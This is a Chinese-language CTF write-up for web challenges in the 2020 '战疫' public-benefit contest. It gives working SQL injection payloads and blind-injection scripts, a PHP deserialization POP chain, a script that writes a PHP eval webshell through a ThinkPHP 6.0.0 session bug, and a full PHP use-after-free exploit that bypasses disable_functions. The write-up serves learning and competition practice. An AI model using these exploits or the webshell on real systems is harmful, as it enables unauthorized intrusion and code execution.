2020年新春战“疫”—网络安全公益赛 wp

不会node哭了

day1

web1-简单的招聘系统

开始一直在测更新个人信息地方的二次注入…

登录口可以直接万能密码登录,登录后在查key处可以盲注,不过写好脚本每次都跑着跑着容器就gg了;直接在登陆口进行回显注入:

'or 1=1 union select 1,(select flaaag from flag),3,4,5#

登录名就是flag.

在查询处二分脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time

def binsearch(low, high, index, url, payload1, payload2):
headers = {
'Cookie':'chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; UM_distinctid=17057ac1a84a-0825ea149afdf9-4c302978-100200-17057ac1a87183; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1582018863,1582243573; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1582247354; PHPSESSID=4afiji4rk1rjmal3o7tuuntle4; __jsluid_h=5d224074c49dec9562c6f1b695fab2d9'
}
mid = (low + high)//2
try:
time.sleep(3)
#print(url+payload1.format(index, mid))
res = requests.get(url+payload1.format(index, mid), headers=headers, timeout=1)
#print(res)
return mid
except:
#print(payload2.format(index, mid))
time.sleep(3)
try:
res = requests.get(url+payload2.format(index, mid), headers=headers, timeout=1)
high = mid - 1
return binsearch(low, high, index, url, payload1, payload2)
except:
low = mid + 1
return binsearch(low, high, index, url, payload1, payload2)

if __name__ == '__main__':
url = 'http://3bde39f3d1ee456782c06167a1c210b1587727ad74e64375.changame.ichunqiu.com/pages-blank.php?key=dbd3e575cef0f7ecf5f146004e1e4d1a'
payload1 = "'and/**/if(ascii(substr((select/**/group_concat(flaaag)from/**/flag),{},1))={},0,sleep(2))%23"
payload2 = "'and/**/if(ascii(substr((select/**/group_concat(flaaag)from/**/flag),{},1))<{},0,sleep(2))%23"

flag = ''
for index in range(1,100):
flag += chr(binsearch(33, 127, index, url, payload1, payload2))
print('[%d] ' % index, flag)

学弟提醒在查询处能直接查出数据,当时应该忘了测字段数量了以为只能盲注…

1'union select 1,group_concat(flaaag),3,4,5 from flag#

web2-ezupload

传马拿flag

web3-盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
# flag在fl4g里
include 'waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql();

$id = $_GET['id'];

if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}
}
highlight_file(__FILE__);

过滤:

union select *' = like <> between updatexml

i这里真是sx了,把提示的fl4g当成另一个表,想半天咋绕过union select去跨表查询……原来提示的是字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import time

url = 'http://72fd0de22c4b410e80d6e80d4b31512d8b6f644c86784ad2.changame.ichunqiu.com/'

payload = "?id=case when ascii(substr(fl4g from {})) regexp {} then sleep(2) else 0 end" # time

flag = ''
for i in range(5, 100):
print(i)
for j in range(33, 128):
try:
s = requests.get(url+payload.format(i,j), timeout=1)
#print(s.text)
except:
flag += chr(j)
print(flag)
break

web4-ezphp

不会

开始以为得登录才能进行反序列化,还是审的不认真…tcl

下面是在buu上做的wp

构造思路为:

通过UpdateHelper类__destruct方法触发User类__toString方法,接着触发Info类__call方法,接着调用dbCtrl类login方法,构造sql语句查出admin密码,登录后即可得到flag

按照上面的流程构造的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

class User
{
public $id;
public $age=null;
public $nickname=null;
}

class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
}

Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
}

class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
}

$db = new dbCtrl();
$db->name = 'admin';
$db->token = 'admin';

$info = new Info('', '1');
$info->CtrlCase = $db;

$user = new User();
$user->nickname = $info;
$user->age = 'select id,password from user where username=?';

$update = new UpdateHelper();
$update->sql = $user;

echo serialize($update);

得到:

O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select id,password from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}

产生反序列化的点:

public function update(){
    $Info=unserialize($this->getNewinfo());
    ...
}

调用getNewinfo方法:

public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

只有$age$nickname可控,那么什么都不赋值的情况下,得到的序列化字符串为:

O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:0:"";s:8:"CtrlCase";N;}

接着控制nickname字段,因为Info类有三个属性,因此构造CtrlCase字段,让它的值为我们上面构造的pop链序列化字符串,构造下面字符:

";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select id,password from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}

即:

O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:453:"";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select id,password from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}";s:8:"CtrlCase";N;}

可以看到上面的序列化字符串s:453后是没有值的;由于存在safe函数替换字符,那么构造字符,使替换后长度满足正常的序列化字符串

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

有下面等式,453是为空时序列化后的长度,x是单字符的数量,后面6为hacker的长度;即等式左边为构造的替换前长度,右边为替换后的长度。

453+x == 6x

很显然x是没有整数解的,那么接着再用union进行替换,即:

453+x+5y == 6x+6y

这里的y为union的数量,解出上面方程即可(怎么有种做数学题的感觉。。)

x = 90
y = 3

那么payload为:

unionunionunion******************************************************************************************";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}

​ 这里用预处理语句查询的只有一个结果,可以调换id和password;将查出的password解md5后登录便可看到flag

day2

web1

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php 
function check($str)
{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}

宽字节+pod盲注,使用pdo预处理语句绕过关键字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = 'http://1eedae67d99c44d2be0911a368787151ff578d608196435c.changame.ichunqiu.com/?id='

payload = '%dd%27;set @sql=0x{};prepare s from @sql;execute s;deallocate prepare s;'
flag = ''
f = ''
for i in range(1,100):
print(i)
for j in range(33, 128):
#s = 'select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="table1"), {0}, 1))={1},sleep(3),0);'.format(i, j)
s = 'select if(ascii(substr((select group_concat(fllllll4g) from table1), {0}, 1))={1},sleep(3),0);'.format(i, j)
for index in s:
f += hex(ord(index))[2:]
u = url + payload.format(f)
f = ''
try:
res = requests.get(u, timeout=2)
except:
flag += chr(j)
print(flag)
break

官方wp描述:

在php中,PDO有两种模式:模拟预编译与非模拟预编译。默认为模拟预编译模式,即不是真正的预编译,而是采用PDO::quote()函数,首先将用户输入转化为字符型,之后将引号等敏感字符转义。这样在gbk编码下,即可通过宽字节注入绕过防护。

web2

看到题目就想到了一叶飘零师傅的文章提到过==直接用handler:

';handler FlagHere open as gtfly;handler gtfly read next;#

web3

过滤:

and or sleep benchmark order in for if case information mysql.innodb_table_stats join linestring

除此之外,union和select不能连用

输入

a()

没有回显,输入

database()

有回显Hello,说明整型注入;

接下来就是溢出盲注、通过

select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()

来获取表名,过滤了union select,不能通过select 1,2 union select * from ...的方式给列命名的方式来做了,在网上找到一篇文章,可以用比较的方式来注入;MySQL在比较时会从前到后一位一位的比较,相同的位置如果某一个字符大,那么那个字符串就大:

1
2
3
4
5
6
7
8
9
mysql> select ((select * from user where id=2)=(select 2,'flag{asdf}','123')) and pow(999,999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(999,999)'
mysql> select ((select * from user where id=2)=(select 2,'flag{asdg}','123')) and pow(999,999);
+----------------------------------------------------------------------------------+
| ((select * from user where id=2)=(select 2,'flag{asdg}','123')) and pow(999,999) |
+----------------------------------------------------------------------------------+
| 0 |
+----------------------------------------------------------------------------------+
1 row in set (0.00 sec)

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time
import string

dic = '-'+string.digits+string.ascii_lowercase+'{}~' # 注意ascii码顺序从小到大

url = 'http://08c72cfa1ef0405aa51cfb8282c1371beec9b1d1e0b94a60.changame.ichunqiu.com/index.php'

flag = 'flag'
for i in range(1,100):
print(i)
for j in dic:
if j == '&':
continue
# users233333333333333,f1ag_1s_h3r3_hhhhh
# payload = 'ascii(substr((select group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'.format(i,j)
payload1 = "((select * from f1ag_1s_h3r3_hhhhh)<(select 1, '{}'))".format(flag+j)
payload2 = "((select * from f1ag_1s_h3r3_hhhhh)<(select 1, '{}'))".format(flag+dic[dic.find(j)+1])
data1 = {'id':'1 && {} && pow(999,999)'.format(payload1)}
data2 = {'id':'1 && {} && pow(999,999)'.format(payload2)}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)
if 'Hello' in res1.text and 'Hello' not in res2.text:
flag += j
print(flag)
break

这里有bug就是mysql比较字符串的时候并不能区分大小写,我还是比较走运,猜到ichunqiu的动态flag都是小写字母+数字+-+{}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select ((select * from user where id=2)=(select 2,'flag{asdf}',123));
+---------------------------------------------------------------+
| ((select * from user where id=2)=(select 2,'flag{asdf}',123)) |
+---------------------------------------------------------------+
| 1 |
+---------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ((select * from user where id=2)=(select 2,'flag{ASDF}',123));
+---------------------------------------------------------------+
| ((select * from user where id=2)=(select 2,'flag{ASDF}',123)) |
+---------------------------------------------------------------+
| 1 |
+---------------------------------------------------------------+
1 row in set (0.00 sec)

mysql的二进制格式可参考文章

在不过滤in的情况下可以使用binary,转为二进制字节字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select ((select * from user where id=2)=(select 2,binary('flag{ASDF}'),123));
+-----------------------------------------------------------------------+
| ((select * from user where id=2)=(select 2,binary('flag{ASDF}'),123)) |
+-----------------------------------------------------------------------+
| 0 |
+-----------------------------------------------------------------------+
1 row in set (0.07 sec)

mysql> select ((select * from user where id=2)=(select 2,binary('flag{asdf}'),123));
+-----------------------------------------------------------------------+
| ((select * from user where id=2)=(select 2,binary('flag{asdf}'),123)) |
+-----------------------------------------------------------------------+
| 1 |
+-----------------------------------------------------------------------+
1 row in set (0.00 sec)

结束后看smi1e大佬的预期解,用到了mysql的json,这是MySQL5.7的版本新增的功能;json对象是二进制对象,会返回一个二进制的字符串;使用concat后也会返回一个二进制字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select (select * from user where id=1)<(select 1,concat("acmin",cast(0 as json)),123456);
+-----------------------------------------------------------------------------------+
| (select * from user where id=1)<(select 1,concat("acmin",cast(0 as json)),123456) |
+-----------------------------------------------------------------------------------+
| 0 |
+-----------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select (select * from user where id=1)<(select 1,concat("admin",cast(0 as json)),123456);
+-----------------------------------------------------------------------------------+
| (select * from user where id=1)<(select 1,concat("admin",cast(0 as json)),123456) |
+-----------------------------------------------------------------------------------+
| 1 |
+-----------------------------------------------------------------------------------+
1 row in set (0.00 sec)

相关文章:

Alternatives to Extract Tables and Columns from MySQL and MariaDB

无需“in”的SQL盲注

day3

web1-Flaskapp

在解码时随便输一个不是base的字符串会报错,通过报错信息可得到部分源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route('/decode',methods=['POST','GET'])

def decode():

if request.values.get('text') :

text = request.values.get("text")

text_decode = base64.b64decode(text.encode())

tmp = "结果 : {0}".format(text_decode.decode())

if waf(tmp) :

flash("no no no !!")

return redirect(url_for('decode'))
res = render_template_string(tmp)

提示PIN,但这道题不用获得PIN码就能getshell

测得flask的waf只是把字符串给过滤了,并没有检测是否调用,那么直接用字符串拼接的方式绕waf

getshell后查到black_list为:

black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]

web2-node_game

不会

web3-ezExpress

不会…白嫖成功

web4-easythink

做到一半卡住了…白嫖成功

查看目标thinkphp版本为6.0.0,搜到该版本存在通过session写文件的bug:

https://www.uedbox.com/post/65126/

https://paper.seebug.org/1114/#_1

https://blog.csdn.net/god_zzZ/article/details/104275241

那么只要在写入session时数据我们可控,便可进行写shell

Member控制器的search方法有这样一个判断:

1
2
3
4
5
6
7
8
9
10
if (!session('?UID'))
{
return redirect('/home/member/login');
}
$data = input("post.");
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}

只有这个地方存在任意session写入,那么我们要绕过第一个判断,也就是说要存在一个session文件,含有UID这个字段;那么接着找将UID写入session的点;

在login方法中找到:

1
2
3
4
if ($userId){
session("UID",$userId);
return redirect("/home/member/index");
}

要满足条件为正确的用户名和密码,因此构造可执行的php文件思路为:

1.正常注册一个账号

2.登陆时更改sessid为.php结尾(满足长度32位)

3.用相同的cookie向home/member/searchPOST一句话

4.在/runtime/session/中找到我们的马,以sess_开头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url_reg = 'http://123.57.212.112:7892/home/member/register'
url_log = 'http://123.57.212.112:7892/home/member/login'
url_sea = 'http://123.57.212.112:7892/home/member/search'

headers = {
'Cookie':'PHPSESSID=1234567890123456789012345678.php'
}

data1 = {'username':'gtfly111', 'password':'123456'}

data2 = {'key':'<?php @eval($_POST["t"]);echo "not flag"; ?>'}

s1 = requests.post(url_reg, data1)
s2 = requests.post(url_log, data1, headers=headers)
s3 = requests.post(url_sea, data2, headers=headers)

test = 'http://123.57.212.112:7892/runtime/session/sess_1234567890123456789012345678.php'

s = requests.get(test).text
if 'not flag' in s:
print('success')
else:
print('failed')

写入一句话后用蚁剑连接,发现设置了很多disable functions

passthru,mail,error_log,mb_send_mail,imap_mail,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

查看apache2开启的module:

Array ( [0] => core [1] => mod_so [2] => mod_watchdog [3] => http_core [4] => mod_log_config [5] => mod_logio [6] => mod_version [7] => mod_unixd [8] => mod_access_compat [9] => mod_alias [10] => mod_auth_basic [11] => mod_authn_core [12] => mod_authn_file [13] => mod_authz_core [14] => mod_authz_host [15] => mod_authz_user [16] => mod_autoindex [17] => mod_deflate [18] => mod_dir [19] => mod_env [20] => mod_filter [21] => mod_mime [22] => prefork [23] => mod_negotiation [24] => mod_php7 [25] => mod_reqtimeout [26] => mod_rewrite [27] => mod_setenvif [28] => mod_status )

发现没有开启mod_cgi…那么Apache+mod_cgi+.htaccess bypass这种方法也不能用了

在github上有这样一个项目

This exploit uses a two year old bug in debug_backtrace() function. We can trick it into returning a reference to a variable that has been destroyed, causing a use-after-free vulnerability. The PoC was tested on various php builds for Debian/Ubuntu/CentOS/FreeBSD with cli/fpm/apache2 server APIs and found to work reliably.

直接用这个exp便可getshell…膜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
<?php
pwn("/readflag");
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
?>